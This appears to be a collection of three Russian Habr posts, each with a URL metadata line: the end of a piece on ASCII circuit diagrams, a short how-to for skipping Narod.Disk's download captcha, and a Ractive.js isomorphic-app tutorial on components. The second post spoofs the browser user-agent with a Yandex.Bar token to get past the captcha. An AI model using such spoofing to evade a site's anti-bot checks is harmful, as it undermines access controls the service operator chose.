Какого-либо стандарта на ASCII-схемы не было. Особенно в отношении того, как обозначать пересечения проводников без соединения, а как с соединением. Одни предпочитали такой способ:
```
|
-+- соединение
|
| |
--- или -|- пересечение
| |
```
Другие — такой:
```
| |
-o- или -*- соединение
| |
|
-+- пересечение
|
```
В обоих случаях быстро сориентироваться было несложно. А разбивка схемы на фрагменты позволяла практически избавиться от пересечений.
Почему так продолжали делать, когда практически у всех были видеокарты VGA и выше? Причин несколько.
1. Формат подходил для групп новостей и Фидонета.
2. Текст (или HTML) и набор иллюстраций в ASCII — это один файл, и он — не архив. На текстовые редакторы, позволяющие объединить в один файл текст и графику (один из них — снова 'Слово и дело"), единого стандарта ещё не было. В общем-то, и сейчас нет, но современные офисные пакеты хоть как-то импортируют форматы друг друга, а тогда… Да и привязка к определённому редактору, опять же, не всем нравилась.
3. Не меньший «зоопарк» имел место и в мире графических форматов. К нынешнему стандарту де факто «PNG, GIF, JPEG» пришли не сразу. Были BMP, PCX и прочие. Потом, конечно, придумали многоформатные просмотрщики, такие, как PV.
4. Не всегда были и площадки со встроенными фотохостингами, такие, как «Хабр» или «У Самоделкина». Сторонние фотохостинги сносили изображения за давностью лет или из-за отсутствия просмотров.
5. Старые VGA-карты в графическом режиме обеспечивали меньшую частоту кадров. Когда у всех были ЭЛТ-мониторы, это имело значение. А матричные принтеры печатали текст в режиме Draft очень резво.
Ну а зачем теперь всё это? Во-первых, ностальгия. Пишут ведь биперную музыку, хотя сегодня даже кнопочный телефон за 400 рублей проигрывает MP3. Во-вторых, фрагменты схем, поясняющие, что куда подключать, в ASCII-формате удобно помещать прямо в скетчи. Вот так (взято [отсюда](http://chris-reilly.org/blog/arduino-circuit-diagrams/)) можно сэкономить выводы Arduino, подключив к нему индикаторы через счётчики:
Пользуйтесь этим приёмом и вы, и тому, кто решит повторить вашу конструкцию, вы сэкономите лишние телодвижения. Если он скачал скетч давно, и забыл, откуда — не придётся вспоминать или искать. | https://habr.com/ru/post/441394/ | null | ru | null |
# Качаем с Народ.Диска без капчи и без яндекс.бара
Как известно, чтобы скачать файл с [Народ.Диска](http://narod.ru/disk), необходимо либо ввести капчу, либо установить яндекс.бар. А если не хочется, чтоб яндекс.бар мозолил глаза(либо любимый браузер — опера)? Да, его можно скрыть, но зачем он тогда вообще нужен, если используется только для скачки файлов с Народ.Диска?
А можно обойтись и без него, при этом скачивая файлы без ввода капчи в любом удобном браузере, позволяющем изменять юзер-агент.
**Способ для Firefox**
Набираем в адресной строке `about:config`, в поле Filter пишем:
`general.useragent.extra.firefox`
И добавляем к значению появившегося параметра `YB/3.5.1`(у меня, например, результат «Firefox/3.0.1 YB/3.5.1»). Всё, теперь Диск думает, что у нас установлен яндекс.бар
**Способ для Opera**
В папке Оперы находим файл opera6.ini, открываем и ищем секцию ISP(если её нет, то создаем). Находим\создаем в этой секции параметр ID со значением `YB/3.5.1`. Должно получиться что-то похожее:
`[ISP]
ID=YB/3.5.1`
Перезапускаем оперу и, если всё сделано правильно, яндекс с радостью сообщит, что у нас установлена последняя версия бара
**Способ для других браузеров**
Находим, как изменить юзер-агент нужного браузера, и дописываем либо в конец строку `YB/3.5.1`, либо во внутренность юзер-агента, лишь бы **не** получилось подобное:
`My-browser/20.0 (YB/3.5.1) someone info`
Идентификатор яндекс.бара не должен быть окружен скобками(проверено опытным путем). В крайнем случае, можно до и после него через точку с запятой(";") добавить какую-либо чушь.
Примеры правильных юзер-агентов:
`Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 (ddd; YB/3.5.1; eee) eiireo werw 4242 FirePHP/0.1.1.1
Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 FirePHP/0.1.1.1 YB/3.5.1`
Если описанные действия выполены верно, то теперь качать с Диска можно без ввода кода и без установки яндекс.бара(что, например, в опере и невозможно пока) | https://habr.com/ru/post/37735/ | null | ru | null |
# Разработка изоморфного RealWorld приложения с SSR и Progressive Enhancement. Часть 4 — Компоненты и композиция
В [предыдущей части](https://habrahabr.ru/post/350428/) туториала мы решили проблемы изоморфного роутинга, навигации, фетчинга и начального состояния данных. В итоге, получилась довольно простая и лаконичная основа для изоморфного приложения, которую я также выделил в отдельный репозиторий — [ractive-isomorphic-starterkit](https://github.com/ractivejs-developers/ractive-isomorphic-starterkit). В этой части мы начнем писать приложение **RealWorld**, но сначала осуществим декомпозицию. Погнали!
Традиционный оффтопик
---------------------
Интересные результаты показал [опрос](https://habrahabr.ru/post/350428/) про **State-based** роутинг. Половина проголосовавших идею не оценили, что было ожидаемо. Еще половину идея все же заинтересовала, так или иначе.
Интересный факт заключается в том, что буквально недавно я посетил Я.Субботник по фронтенду. Ребята из Яндекса похоже идею **State-based** роутинга все же [вкурили](https://youtu.be/uIM6m62_MWU?t=20m51s) и это радует. Спикер, который затронул эту тему, был из команды партнерских интерфейсов и, судя по всему, у них это выглядит примерно так:
```
...
...
```
Собственно это ничем принципиально не отличается от того, что делаю я:
```
{{#if $route.match(page) && status === 'NEW' && query === 'Yandex'}}
...
{{/if}}
```
Разве что тем, что они используют **React**, у которого просто нет никаких иных выразительных средств, кроме как создание компонентов на любой пчих — это его стиль.
В конце [доклада](https://youtu.be/uIM6m62_MWU?t=38m25s) я специально еще раз акцентировал внимание на этой части. Тогда мне показалось, что докладчик настолько глубоко погружен в специфику своего проекта, что многие могли не до конца уловить его мысль.
Декомпозиция и композиция
-------------------------
Если очень кратко, то в контексте фронтенда, декомпозиция — это процесс разбиения монолитного приложения на компоненты, каждый из которых решает какую-то часть задачи. Основные цели декомпозиции — уменьшение эмпирической сложности, а также реализация принципа [DRY](https://ru.wikipedia.org/wiki/Don%E2%80%99t_repeat_yourself).
Именно компонентный подход доминирует в современном фронтенде и является частью модульного подхода в целом. Иными словами, мы делим код на модули, а интерфейс — на компоненты. Опять же, в контексте фронтенда, компонент — это некий пользовательский элемент, который инкапсулирует в себя какую-то часть UI, бизнес-логики и т.п. Важной составляющей понимания компонентов является то, по каким принципам происходит декомпозиция.
Есть множество подходов к декомпозиции. Например, **React** использует принцип «everything is a component», другие фреймворки рассматривают компоненты в контексте [SOLID](https://ru.wikipedia.org/wiki/SOLID_(%D0%BE%D0%B1%D1%8A%D0%B5%D0%BA%D1%82%D0%BD%D0%BE-%D0%BE%D1%80%D0%B8%D0%B5%D0%BD%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5)) и т.д. Но в целом все сводится к стремлению сделать компоненты то, что называется "[high cohesion](https://en.wikipedia.org/wiki/Cohesion_(computer_science)), [loose coupling](https://en.wikipedia.org/wiki/Loose_coupling)".
Несмотря на то, что все это как бы понимают, но понимание это очень часто реализуется по-разному. Если взять двух разработчиков то, с большой долей вероятности, они произведут декомпозицию приложения по-разному. Я лишь опишу те принципы декомпозиции, которых придерживаюсь сам.
Скажу прямо, я не считаю правильным «мельчить» с компонентами и принципы дробления компонентов **React'а** мне не очень то близки. Как правило, я выделяю компоненты руководствуясь следующими правилами:
1. **Переиспользование** — использование одного и того же функционала в разных частях приложения;
2. **Функциональное назначение** — четко выраженная функция и бизнес-процесс с обособленным жизненным циклом и состоянием;
3. **Структурная функция** — улучшение структуры и повышение читаемости кода
Мне кажется, нет других причин выделять какую-то часть приложения в отдельный компонент. Более того, излишняя декомпозиция, напротив, может усложнить понимание проекта и его поддержку. Иными словами в этом деле очень важен баланс.
**Вся правда про React (не для слабонервных)**Рискую нахватать дизлайков с занесением в карму, но все же выскажу свое ***чисто субъективное мнение***(!) по поводу некоторых аспектов **React**. А точнее, тех подходов, к которым **React** склоняет, а его последователи проповедуют.
Не буду плакаться по поводу **JSX** и того как он ужасен — об этом уже тысячу раз все было сказано. Да и идея смешивания кода и разметки принадлежит не реакту, а скорее **PHP**, откуда, как мне кажется, она и перекочевала в реакт. Частично.
Здесь я хочу обсудить принципы декомпозиции, к которым склоняет **React**, и их непосредственное влияние на появление таких вещей как **Redux** и прочих **Flux**. Возможно вы удивитесь, но я утверждаю что именно это послужило причиной всех тех «революционных» идей, которые привнес реакт. При этом ломая на своем пути все те *best practice*, которые сложились за десятки лет развития принципов программирования.
«Ну и в чем же соль? Какая соль, одно....[React](https://www.anekdot.ru/id/-720300095/)»
Думаю все, как это часто бывает, началось с прекрасной идеи — *«everything is a component»*. Эта идея настолько проста и понятна, что способна захватывать умы людей. Излишняя увлеченность данной простотой, привела в итоге к тому, что, на самом деле, **React** не умеет ничего другого. У него нет никаких иных средств выразительности, кроме создания компонентов и их композиции (здесь я специально не рассматриваю **Virtual DOM** и другие подкапотные механизмы, потому что они не так важны с точки зрения архитектуры).
Как и любая другая изначально простая и идеальная идея, идея реакта также столкнулась с реалиями. Но создатели **React** похоже были настолько сильно увлечены этой идеей, что стали выносить излишнюю сложность не внутрь фреймворка (как это делают остальные), а оставлять ее в пределах приложений, сохраняя кажущуюся простоту своего детища. И на любые проблемы **React** всегда отвечал одинаково — просто создайте компонент, потому что все в вашем приложении — это компонент.
Ясно дело, что сообщество подстроилось под эти принципы и даже полюбило их. И таки стало выносить излишнюю сложность из своих приложений, но не во фреймворк, а в библиотеки-сателлиты. Именно поэтому, как правило, сейчас мы не пишем приложения на одном лишь **React**. За ним непременно тянется шлейф всевозможных надстроек и костылей.
Отдельно отмечу, что я также не большой фанат таких *«all-in-one»* решений как **Angular**. Я думаю что прерогатива фреймворков — это все что связанно с архитектурными вопросами приложений, вопросами декомпозиции и композиции, коммуникации между компонентами. Но никак не вопросы отправки http-запросов и тому подобные вещи. Для меня **Angular** — это слишком много, а **React** — слишком мало.
Но вернусь к декомпозиции и принципу «просто создайте еще один компонент». В итоге, вся эта прекрасная, по своей сути, идея привела к двум основным вещам:
1. Так как любая проблема решается созданием компонента, компонентов стало много, они маленькие, поэтому смешивание разметки и кода выглядит не слишком вульгарно;
2. Из-за сильного дробления приложения на компоненты, композиция компонентов становится излишни сложной, что затрудняет коммуникацию между компонентами разных уровней. Особенно в сочетании с принципом *«one-way data flow»*. Это приводит к тому, что наиболее очевидным решением становится коммуникация через глобальное состояние.
Таким образом, именно маниакальное соблюдение принципа *«everything is a component»* и отсутствие иных инструментов, привело **React** сперва к неконтролируемой декомпозиции, потом к усложнению композиции компонентов, а после хоть трава не расти. Можно перечеркнуть общепринятый принцип разделения кода и разметки, и убедить своих последователей, что круто когда все в кучу. Можно перейти к использованию глобальных состояний, в то время как мы много лет пытались эти состояния изолировать и инкапсулировать. Короче творить любые безумства, лишь бы сохранить незыблемыми основы.
Если вы не согласны с моим мнением или хотели бы поправить меня в чем-то — всегда *welcome* в комментарии. Я вообще считаю, что живая дискуссия значительно более продуктивная вещь, чем молчаливый высер в карму. Заранее спасибо за вашу вежливость. Сам я не хотел никого задеть или обидеть.
Итак, для начала давайте произведем декомпозицию главной страницы и страницы профиля пользователя. Именно их я хочу реализовать в первую очередь.
#### Главная страница
Здесь я выделил соответствующие компоненты цветными рамками:
* Фиолетовая рамка — корневой компонент (root) или компонент приложения;
* Синяя рамка — компонент списка тегов;
* Красная рамка — компонент списка статей;
* Бежевая рамка — компонент добавления в избранное.
Еще на главной странице есть вложенный компонент пагинации для списка статей, который не влез в скриншот.
Обратите внимание, что компонент тегов очевидно является переиспользуемым. Так же как и компонент добавления в избранное.
#### Профиль пользователя
Здесь также присутствуют компоненты списка статей, тегов и добавления в избранное. Из нового тут:
* Зеленая рамка — компонент профиля пользователя;
* Желтая рамка — компонент подписки на пользователя.
Компонент пагинации также не влез в скриншот, но учитывая что список статей пользователя может быть длинным, стоит учитывать его и тут. Становится очевидным, что компонент списка статей также является переиспользуемым.
Считаю, что такое разделение на компоненты является сбалансированным, минимально-достаточным для достижения целей декомпозиции. И то же время, композиция компонентов остается достаточно простой и управляемой.
Типы компонентов
----------------
Как мне кажется, существует 3 основных вида компонентов:
1. **Чистые компоненты** — простые компоненты, результат работы которых полностью зависит от входных параметров (по типу «чистых» функций). Прекрасно переиспользуются и хорошо работают в композиции с другими компонентами;
2. **Автономные компоненты** — сложные компоненты, которые имплементируют какую-то обособленную функциональность и реализуют принципы *SOLID*. Как правило, такие компоненты используются в композиции с «чистыми» компонентами, реализуют специфическую бизнес-логику, собирают данные и т.п.;
3. **Компоненты-обертки** — не изолированные компоненты, которые чаще всего используются для улучшения структуры шаблонов, передачи параметров вниз и т. д.
Как я уже не раз говорил, в реальном мире все не так однозначно, поэтому компоненты часто имеют смешанные черты и это нормально.
Пишем код
---------
#### Root-компонент
Корневой компонент или компонент приложения — это именно тот инстанс **Ractive**, который мы настраиваем и создаем в **./src/app.js**. Он также реализует общий макет приложения (layout) и содержит элементы, которые всегда присутствуют на экране (шапка и подвал), а также планировку всего приложения, включая роутинг.
Для улучшения структуры шаблонов и разбиения общего лейаута на более мелкие части, мы можем использовать **компоненты-обертки**, описанные в предыдущем разделе. В **Ractive** мы можем сделать компонент не изолированным с помощью установки простого свойства:
```
{
isolated: false
}
```
Однако, сами по себе компоненты штуки не «дешевые», потому как содержат все эти реактивные и вычисляемые свойства, наблюдатели, жизненный цикл и т.п. По сути компонент **Ractive** — это класс, который имеет встроенный стейт и реализует какую-то функциональность. Если же наша обертка не требует всего этого ни в каком виде, а лишь является структурным элементом, призванным упростить наши шаблоны, то значительно «дешевле» использовать еще один встроенный механизм декомпозиции — *partials*.
Шапку и подвал я уже вынес в *partials* еще в предыдущей статье. Таким же образом я буду реализовывать другие части макета, не отвечающие признакам компонента, потому что «not everything is a component». ;-)
Итого, на данном этапе, корневой шаблон приложения будет выглядеть таким образом:
**./src/templates/app.html**
```
{{>navbar}}
{{#with
@shared.$route as $route,
{delay: 500} as fadeIn,
{duration: 200} as fadeOut
}}
{{#if $route.match('/login') }}
Login page
{{elseif $route.match('/register') }}
Register page
{{elseif $route.match('/profile/:username/:section?') }}
Profile page
{{elseif $route.match('/') }}
{{>homepage}}
{{else}}
{{>notfound}}
{{/if}}
{{/with}}
{{>footer}}
```
Здесь и далее я использую [гайдлайны по роутингу](https://github.com/gothinkster/realworld/tree/master/spec#routing-guidelines) проекта **RealWorld**. В тех местах, где гайды не содержат конкретных рекомендаций, я буду использовать подходы, которые считаю правильными. Также я буду использовать **History API** роутинг вместо hash-роутинга, потому что мы пишем изоморфное приложение, а URL-фрагменты, как известно, на сервер не ходят.
Кроме того, я выделил еще два *partials* — для разметки главной страницы и для страницы 404. Вот они:
**./src/templates/partials/homepage.html**
```
conduit
=======
A place to share your knowledge.
* [Global Feed](/)
Articles list
Popular Tags
Tags list
```
**./src/templates/partials/notfound.html**
```
conduit
=======
404 - Not found
```
Теперь необходимо зарегистрировать их в конфиге рут-компонента:
**./src/app.js**
```
partials: {
...
homepage: require('./templates/parsed/homepage'),
notfound: require('./templates/parsed/notfound')
},
```
**Полный код ./src/app.js**
```
const Ractive = require('ractive');
Ractive.DEBUG = (process.env.NODE_ENV === 'development');
Ractive.DEBUG_PROMISES = Ractive.DEBUG;
Ractive.defaults.enhance = true;
Ractive.defaults.lazy = true;
Ractive.defaults.sanitize = true;
Ractive.defaults.data.formatDate = require('./helpers/formatDate');
Ractive.defaults.data.errors = null;
Ractive.partials.errors = require('./templates/parsed/errors');
Ractive.use(require('ractive-ready')());
Ractive.use(require('ractive-page')({
meta: require('../config/meta.json')
}));
const api = require('./services/api');
const options = {
el: '#app',
template: require('./templates/parsed/app'),
partials: {
navbar: require('./templates/parsed/navbar'),
footer: require('./templates/parsed/footer'),
homepage: require('./templates/parsed/homepage'),
notfound: require('./templates/parsed/notfound')
},
transitions: {
fade: require('ractive-transitions-fade'),
}
};
module.exports = () => new Ractive(options);
```
Также я немного пошаманил с настройками анимации переходов — теперь они выглядят намного лучше.
#### Компонент Pagination
Данный компонент является ярким представителем чистых компонентов. Результат его работы полностью основан на входных параметрах — аттрибутах компонента.
Визуально данный компонент выглядит совершенно стандартно, но нам важно решить какой *сайд-эффект* он будет продуцировать и как именно мы будем управлять этим *сайд-эффектом*. В контексте изоморфного приложения, да еще с прогрессивным улучшением, ответ на этот вопрос очевиден — изменение URL.
Мы всегда должны помнить, что нам необходимо иметь возможность перемещаться между страницами, даже если JS отключен. Другими словами, каждая страница должны быть представлена своим собственным URL (ссылкой). Кроме того, при перезагрузке страницы в браузере мы должны оставаться на выбранной странице списка (полная поддержка **SSR**).
Так как в гайдлайнах нет никаких рекомендаций по поводу того, как пагинация должна отражаться в URL и должна ли вообще, я использую *URL Query* параметр **offset**, который будет содержать смещение в списке. Почему **offset**, а не **page**? Это будет проще, потому что именно так работает пагинация в API.
```
?offset=20
```
Что ж, создадим наш первый компонент **Ractive**. Для этого, конструктор **Ractive** предоставляет нам статический метод **extend()**, который позволяет расширить конструктор новыми свойствами и перезаписать существующие, и как результат получить новый конструктор. Проще говоря это наследование.
**./src/components/Pagination.js**
```
const Ractive = require('ractive');
module.exports = Ractive.extend({
template: require('../templates/parsed/pagination'),
attributes: {
required: ['total'],
optional: ['offset', 'limit']
},
data: () => ({
total: 0,
limit: 10,
offset: 0,
isCurrent(page) {
let limit = parseInt(this.get('limit')),
offset = parseInt(this.get('offset'));
return offset === ((page * limit) - limit);
},
getOffset(page) {
return (page - 1) * parseInt(this.get('limit'));
}
}),
computed: {
pages() {
let length = Math.ceil(parseInt(this.get('total')) / parseInt(this.get('limit')));
return Array.apply(null, { length }).map((p, i) => ++i);;
}
}
});
```
Данный компонент принимает аттрибуты **total** (общее кол-во элементов в списке), **limit** (кол-во элементов на странице) и **offset** (текущее смещение в списке). На основе этих свойств, компонент генерирует список страниц, который реализован в виде вычисляемого свойства **pages**. При этом, если любое из зависимых свойств будет изменено со временем, вычисляемое свойство будет автоматически пересчитано. Удобно.
**./src/templates/pagination.html**
```
{{#if total > 0 && pages.length > 1}}
{{#each pages as page}}
* [{{ page }}](?{{ @shared.$route.join('offset', getOffset(page)) }})
{{/each}}
{{/if}}
```
В шаблоне, мы просто выводим этот список в виде ссылок. Обратите внимание на использование специального метода **join()** у роутера. Этот метод мержит передаваемый параметр и его значение с текущим *URL Query*, в результате мы получаем готовую строку запроса, с учетом присутствующих там параметров. Всю работу по обработке ссылок, как всегда, берет на себя сам роутер и нам не нужно об этом беспокоиться.
Получился довольно маленький и простой компонент, единственный *сайд-эффект* которого — изменение параметра URL. Это позволяет использовать данный компонент в композиции с любым списком. Компонент реализующий список просто подписывается на изменение соответствующего параметра URL и использует это значение для запросов к API и вывода данных.
#### Компонент Tags
Данный компонент также является чистым. Однако, в отличие от **Pagination**, имеет иную предпосылку для этого.
На картинке видно, что компонент **Tags** действительно используется во множестве мест приложения. Также очевидно, что данный компонент работает с неким списком тегов. Но самое главное и это сразу становится понятным, что список тегов зависит от контекста, в котором исполняется компонент. На главной странице — это список популярных тегов, внутри списка статей — это теги конкретной статьи и так далее. Именно поэтому, данный компонент просто не может быть автономным и требует передачи ему списка статей из контекста в котором он применяется.
**./src/components/Tags.js**
```
const Ractive = require('ractive');
module.exports = Ractive.extend({
template: require('../templates/parsed/tags'),
attributes: {
required: ['tags'],
optional: ['skin']
},
data: () => ({
tags: [],
skin: 'outline'
})
});
```
**./src/templates/tags.html**
```
{{#await tags}}
Loading...
{{then tags}}
{{#each tags as tag}}
* [{{ tag }}](/?tag={{ tag }})
{{/each}}
{{catch errors}}
{{>errors}}
{{else}}
No tags
{{/await}}
```
Этот компонент еще проще. Он принимает список тегов **tags** и дополнительный параметр **skin** — стиль тегов (*outline* и *filled*).
**Tags** может принимать список тегов как в виде массива, так и в виде обещания и самостоятельно разрешать его в список тегов. Продуцирует тот же *сайд-эффект*, что и **Pagination**, — изменяет query-параметр **tag** (опять же в гайдлайнах нет рекомендаций). Не имеет никаких зависимостей и может использоваться в любом месте приложения.
**Про сайд-эффект**Стоит обратить отдельное внимание, что в отличие от компонента пагинации, данный компонент не мержит изменяемый параметр к остальной строке запроса, а полностью обновляет ее. Дело в том, что кликая по тегу, пользователь будет иметь возможность посмотреть обновленный список статей, которые соответствуют этому тегу. Таким образом, возможные манипуляции с предыдущим списком, например, переходы по страницам, должны обнуляться. При этом пагинация будет работать вместе с уточнением тега, так как компонент **Pagination** подмерживает свой параметр к существующей строке запроса.
Попробуем использовать этот компонент на главной странице. Прежде всего, нам необходимо получить список популярных тегов из API. Для этого сервис работающий с API уже имеет готовый вызов и осталось только написать код, который будет реализовывать данный запрос. Также очень важно помнить о поддержке **SSR** и других изоморфных штук, описанных в [предыдущей статье](https://habrahabr.ru/post/350428/).
А сейчас интересный момент. Подобного рода запросы на получение данных я, чаще всего, реализую с помощью, внимание, вычисляемых свойств компонентов!
Почему? Уверен, вы поймете это на примере компонентов **Articles** и **Profile**. Если кратко — это офигеть как удобно!
Итак, пишем простую функцию, которая просто возвращает значение:
**./src/computed/tags.js**
```
const api = require('../services/api');
module.exports = function() {
const key = 'tagsList',
keychain = `${this.snapshot}${this.keychain()}.${key}`;
let tags = this.get(keychain);
if ( ! tags) {
tags = api.tags.fetchAll().then(data => data.tags);
this.wait(tags, key);
}
return tags;
};
```
Как видите ничего сложного. Функция вычисляемого свойства исполняется в контексте того компонента к которому она подключена. Все что здесь происходит уже было разъяснено в [предыдущей части](https://habrahabr.ru/post/350428/). Кроме того, мы наконец-то воспользовались методом **keychain()** из плагина **ractive-ready**. Этот метод просто возвращает корректный путь внутри объекта данных, в зависимости от того на каком уровне вложенности находится компонент, подключивший это вычисляемое свойство.
Теперь подключаем данное свойство к **Root** компоненту, подключаем компонент **Tags** и передаем это свойство ему в качестве аттрибута.
**./src/app.js**
```
...
Ractive.defaults.snapshot = '@global.__DATA__';
...
components: {
tags: require('./components/Tags'),
},
computed: {
tags: require('./computed/tags')
},
...
```
**Полный код ./src/app.js**
```
const Ractive = require('ractive');
Ractive.DEBUG = (process.env.NODE_ENV === 'development');
Ractive.DEBUG_PROMISES = Ractive.DEBUG;
Ractive.defaults.enhance = true;
Ractive.defaults.lazy = true;
Ractive.defaults.sanitize = true;
Ractive.defaults.snapshot = '@global.__DATA__';
Ractive.defaults.data.formatDate = require('./helpers/formatDate');
Ractive.defaults.data.errors = null;
Ractive.partials.errors = require('./templates/parsed/errors');
Ractive.use(require('ractive-ready')());
Ractive.use(require('ractive-page')({
meta: require('../config/meta.json')
}));
const api = require('./services/api');
const options = {
el: '#app',
template: require('./templates/parsed/app'),
partials: {
navbar: require('./templates/parsed/navbar'),
footer: require('./templates/parsed/footer'),
homepage: require('./templates/parsed/homepage'),
notfound: require('./templates/parsed/notfound')
},
transitions: {
fade: require('ractive-transitions-fade'),
},
components: {
tags: require('./components/Tags'),
},
computed: {
tags: require('./computed/tags')
}
};
module.exports = () => new Ractive(options);
```
**./src/templates/partials/homepage.html**
```
...
Popular Tags
...
```
**Полный код ./src/templates/partials/homepage.html**
```
conduit
=======
A place to share your knowledge.
* [Global Feed](/)
Articles list
Popular Tags
```
Вот и все, а главное результат радует глаз:
Теги подгружаются на сервере, компонент **Tags** рендерится во время **SSR** и, так как список тегов приходит с начальным стейтом данных, компонент успешно гидрируются на клиенте без повторного запроса к API. Блеск!
#### Компонент Articles
Основное отличие автономных и чистых компонентов заключается том, что для работы автономного компонента его достаточно просто подключить в родительский компонент и добавить соответствующий тег в разметку. При необходимости можно передать какие-то настройки через аттрибуты. То же самое работает если необходимо удалить или отключить такой компонент и всю связанную с ним функциональность — просто перестаем использовать его в шаблонах и/или удаляем из родительского компонента.
Одним из таких компонентов в нашем приложении будет компонент **Articles**. Данный компонент реализует достаточно обособленную функциональность списка статей и внутри себя использует другие компоненты, такие как **Tags** и **Pagination**.
Компонент **Articles** используется минимум на 2-х страницах приложения (главная и профиль) и может отображать 5 видов списка статей, в зависимости от параметров, которые в него переданы:
1. Общий список статей
2. Персональный список статей для текущего пользователя на основе его подписок
3. Список статей отфильтрованный ко какому-то тегу
4. Список статей за авторством произвольного пользователя
5. Список статей которые произвольный пользователь добавил в избранное
Ничего себе! Кроме того, все эти виды списка должны поддерживать пагинацию, быть изоморфными и работать без JS.
На самом деле, именно в таких ситуациях автономные компоненты — это отличное решение! Оно позволяет инкапсулировать всю необходимую разметку и логику внутрь компонента, выставив наружу лишь необходимый интерфейс. Это исключает опасные *сайд-эффекты* при использовании компонента в разных частях приложения.
Начнем, пожалуй, с фетчинга данных:
**./src/computed/articles.js**
```
const api = require('../services/api');
module.exports = function() {
const type = this.get('type'),
params = this.get('params');
const key = 'articlesList',
keychain = `${this.snapshot}${this.keychain()}.${key}`;
let articles = this.get(keychain);
if (articles) {
this.set(keychain, null);
} else {
articles = api.articles.fetchAll(type, params);
this.wait(articles, key);
}
return articles;
};
```
Как видите, я опять написал функцию для вычисляемого свойства и она очень похожа на такую же для тегов. Про преимущества вычисляемых свойств добровольно читайте под спойлером.
**Преимущества подхода**Сразу оговорюсь, использовать этот подход нужно с умом и только для тех видов данных, которые мы выводим на страницу непосредственно. Так в чем же преимущества использования вычисляемых свойств для фетчинга?
Во-первых, это очень декларативно, сравните:
```
// императивно фетчим данные в life cycle хуке или еще где-то
oninit () {
const foo = fetch('/foo').then(res => res.json());
this.set('foo', foo);
}
// декларативно описываем функцию, которая просто возвращает значение
computed: {
bar() {
return fetch('/bar').then(res => res.json());
}
}
```
Во-вторых, это «лениво» и при этом не требует никаких дополнительных действий:
```
{{#if baz}}
{{foo}}
{{/if}}
{{#if baz}}
{{bar}}
{{/if}}
```
В-третьих, автоматически работает с зависимостями:
```
// императивный подход, где-то там же в хуке
oninit () {
this.observe('qux', (val) => {
const foo = fetch(`/foo?qux=${val}`).then(res => res.json());
this.set('foo', foo);
});
}
// декларативно все в той же функции
computed: {
bar() {
const qux = this.get('qux');
return fetch(`/bar?qux=${qux}`).then(res => res.json());
}
}
```
В-четвертых, функцию вычисляемого свойства можно удобно вынести в отдельный модуль (как это делаю я) и использовать в любом компоненте. Функция выполняется в контексте того компонента к которому она подключена. А также вычисляемому свойству все равно как оно будет именоваться в компоненте:
```
computed: {
foo: require('./computed/baz'),
bar: require('./computed/baz'),
}
```
Если вы все еще не уверены в том, что это хорошая идея, посмотрите пожалуйста еще раз на код вычисляемого свойства списка статей, который я приводил до спойлера. Итак, перед вами буквально 10 строк кода и это вся бизнес-логика компонента **Articles**… Разве это не впечатляет?
Далее, описываем сам компонент:
**./src/components/Articles.js**
```
const Ractive = require('ractive');
module.exports = Ractive.extend({
template: require('../templates/parsed/articles'),
components: {
pagination: require('./Pagination'),
tags: require('./Tags'),
},
computed: {
articles: require('../computed/articles')
},
attributes: {
optional: ['type', 'params']
},
data: () => ({
type: '',
params: null
})
});
```
Здесь мы подключили вложенные компоненты, вычисляемое свойство и определились с интерфейсом компонента — он принимает лишь два аттрибута, которые не являются обязательными: **type** (тип списка, может быть либо пустой строкой, либо 'feed') и **params** (объект с параметрами фильтрации). Шаблон получился чуть по сложнее, потому что на самом деле компонент то не маленький:
**./src/templates/articles.html**
```
{{#await articles}}
Loading articles...
{{then data}}
{{#each data.articles as article}}
[](/profile/{{ article.author.username }})
[{{ article.author.username }}](/profile/{{ article.author.username }})
{{ formatDate(article.createdAt) }}
[{{ article.title }}
===================
{{ article.description }}
Read more...](/article/{{ article.slug }})
{{else}}
No articles are here... yet.
{{/each}}
{{catch errors}}
{{>errors}}
{{else}}
No articles are here... yet.
{{/await}}
```
Ну и давайте плюхнем его на главную страницу.
**./src/app.js**
```
components: {
...
articles: require('./components/Articles'),
},
```
**Полный код ./src/app.js**
```
const Ractive = require('ractive');
Ractive.DEBUG = (process.env.NODE_ENV === 'development');
Ractive.DEBUG_PROMISES = Ractive.DEBUG;
Ractive.defaults.enhance = true;
Ractive.defaults.lazy = true;
Ractive.defaults.sanitize = true;
Ractive.defaults.snapshot = '@global.__DATA__';
Ractive.defaults.data.formatDate = require('./helpers/formatDate');
Ractive.defaults.data.errors = null;
Ractive.partials.errors = require('./templates/parsed/errors');
Ractive.use(require('ractive-ready')());
Ractive.use(require('ractive-page')({
meta: require('../config/meta.json')
}));
const api = require('./services/api');
const options = {
el: '#app',
template: require('./templates/parsed/app'),
partials: {
navbar: require('./templates/parsed/navbar'),
footer: require('./templates/parsed/footer'),
homepage: require('./templates/parsed/homepage'),
notfound: require('./templates/parsed/notfound')
},
transitions: {
fade: require('ractive-transitions-fade'),
},
components: {
tags: require('./components/Tags'),
articles: require('./components/Articles'),
},
computed: {
tags: require('./computed/tags')
}
};
module.exports = () => new Ractive(options);
```
**./src/templates/partials/homepage.html**
```
...
- [Global Feed](/)
{{#if $route.query.tag }}
- # {{ $route.query.tag }}
{{/if}}
...
...
```
**Полный код ./src/templates/partials/homepage.html**
```
conduit
=======
A place to share your knowledge.
* [Global Feed](/)
{{#if $route.query.tag }}
* # {{ $route.query.tag }}
{{/if}}
Popular Tags
```
Обратите внимание, как реализовано добавление таба с именем тега, по которому идет фильтрация. Если пользователь, кликает по какому-то тегу из компонента **Tags** (причем не важно из списка статей или популярных тегов), список статей не только фильтруется по данному тегу, но также добавляется таб с именем тега, чтобы визуально выделить это.
В общем работает это вот так и, по-моему, не плохо получилось:
И конечно же все изоморфно, начальная загрузка происходит без единого ajax-запроса на клиенте. История браузера полностью функциональна, да и с выключенным JS все прекрасно работает. Короче угораем дальше.
#### Компонент Profile
Хотел бы я сказать, что этот компонент будет чем-то выдающимся, но нет. Это плюс-минус такой же автономный компонент, как и **Articles** и работать он будет плюс-минус также. На самом деле он даже скучнее, так как используется только на одной странице.
По сути, он и есть эта страница. Не знаю как по-другому выразиться.
